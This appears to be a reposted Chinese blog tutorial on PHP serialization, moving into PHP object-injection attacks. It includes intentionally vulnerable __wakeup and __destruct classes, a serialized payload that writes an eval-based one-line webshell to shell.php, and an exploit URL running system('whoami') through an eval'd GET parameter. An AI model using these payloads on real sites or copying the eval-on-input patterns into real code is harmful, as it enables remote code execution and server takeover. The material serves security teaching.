序列化和反序列化

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了序列化和反序列化相关的知识,希望对你有一定的参考价值。

序列化和反序列化

一.序列化

1.定义:就是将对象转换成为字符串。

2.简单的代码调试,举例说明

<?php
//序列化
error_reporting(0);   					//防止报错
class Student         				    //定义了一个Student的类
{
	public $name = 'deelmind';          //定义一个属性,即name这个变量,内容为deelmind
	// public $age = '20+';
	// private $lover = "fancy";
	function getName()                  //定义了一个函数(方法)名为getName
	{
		return "deelmind";				//这个方法的内容为deelmind

	}
}
	$s = new Student();                 //变量($s)创建对象
	echo $s->getName()."</br>";        //这个($s)对象调用getName()这个方法
	//serialize function()
	$s_serialize = serialize($s);     //序列化这个($s)这个对象
	print_r($s_serialize);           //输出序列化后的结果
	echo "</br>";

?>

3.输出结果

deelmind      
O:7:"Student":1:{s:4:"name";s:8:"deelmind";}

其中,O表示这是一个对象,7表示对象的长度,Student则是序列化的对象名称,1个成员。其中s表示是字符串,4表示属性名的长度,后面说明属性名称为“name”,属性内容为“deelmind”.

namedeelmind都是字符串
添加两个属性

public $age = '20+';                  //添加了年龄属性
	private $lover = "fancy";           //添加了私有属性

完整代码如下所示:

<?php
//序列化
error_reporting(0);
class Student
{
	public $name = 'deelmind';
	public $age = '20+';                  //添加了年龄属性
	private $lover = "fancy";           //添加了私有属性
	function getName()
	{
		return "deelmind";

	}
}
	$s = new Student();
	echo $s->getName()."</br>";
	//serialize function
	$s_serialize = serialize($s);//O:7:"Student":1:{s:4:"name";s:8:"deelmind";}
	print_r($s_serialize);
	echo "</br>";

?>


运行结果

deelmind
O:7:"Student":3:{s:4:"name";s:8:"deelmind";s:3:"age";s:3:"20+";s:14:"Studentlover";s:5:"fancy";}

结果中多了两个属性,Studentlover是特有的属性名

二、反序列化

1.定义:就是将对象转化成字符串

2.简单的代码调试

<?php
//反序列化
error_reporting(0);
class Student
{
	public $name = 'deelmind';
	function getName()
	{
		return "deelmind";

	}
}
	//反序列化
	$Student = 'O:7:"Student":1:{s:4:"name";s:9:"phpinfo()";}';
	//$Student = $_GET['s'];
	$s_unserialize = unserialize($Student);
	print_r($s_unserialize);
	echo "</br>";




?>

3.输出的结果

三、分析函数

1. __wakeup函数

适用场景:当反序列化恢复对象前调用,就会触发__wakeup函数

1.代码如下所示:

<?php
//反序列化
error_reporting(0);
class Student
{
	public $name = 'deelmind';
	// public $age = '20+';
	// private $lover = "fancy";
	function getName()
	{
		return "deelmind";

	}
	function __wakeup()
	{
		echo "__wakeup"."</br>";
		echo $this->name."</br>";

		$myfile = fopen("shell.php", "w") or die("Unable to open file!");

		fwrite($myfile, $this->name);

		fclose($myfile);

		echo "</br>";
	}
}
	$Student = 'O:7:"Student":1:{s:4:"name";s:9:"phpinfo()";}';
	// $Student = $_GET['s'];
	$s_unserialize = unserialize($Student);
	print_r($s_unserialize);
	echo "</br>";



?>

2.当我们执行反序列化的时候,它会默认的调用__wakeup这个函数,执行这个函数内的命令


3.我们尝试访问shell.php,发现shell.php的内容会被覆盖,并且会写入我们想要的内容


4.当我们发现这个漏洞时,尝试写入一句话木马,代码如下所示

<?php
//反序列化
error_reporting(0);
class Student
{
	public $name = 'deelmind';
	// public $age = '20+';
	// private $lover = "fancy";
	function getName()
	{
		return "deelmind";

	}
	function __wakeup()
	{
		echo "__wakeup"."</br>";
		echo $this->name."</br>";

		$myfile = fopen("shell.php", "w") or die("Unable to open file!");

		fwrite($myfile, $this->name);

		fclose($myfile);

		echo "</br>";
	}
}
	$Student = 'O:7:"Student":1:{s:4:"name";s:29:"<?php @eval($_POST['hhh']);?>";}';
	// $Student = $_GET['s'];
	$s_unserialize = unserialize($Student);
	print_r($s_unserialize);
	echo "</br>";



?>


5.当我们访问的时候会报错

6.此时,只需要将hhh的单引号装换成双引号即可

7.在此访问时,就可以成功执行

8.本地测试测试一下,一句话木马是否上传成功


9.成功执行命令。

2. __destruct函数

适用场景:当对象被销毁的时候,调用__destruct()函数

<?php
	class test{
		function __destruct(){
			echo "destruct...<br>";
			eval($_GET['cmd']);
		}
	}
	unserialize($_GET['u']);
?>

利用原理,__destruct()函数在对象销毁时会自动调用此方法,然后cmd参数传入PHP代码,即可达到任意代码执行。

http://127.0.0.1:83/F/test1.php?u=O:4:"test":0:{}&cmd=system("whoami");

以上是关于序列化和反序列化的主要内容,如果未能解决你的问题,请参考以下文章

python代码实现二叉树的序列化和反序列化

序列化和反序列化的示例代码

Django REST framework序列化

rest_framework

csharp 此代码演示了json序列化和反序列化的4种方法

Django REST framework 基本组件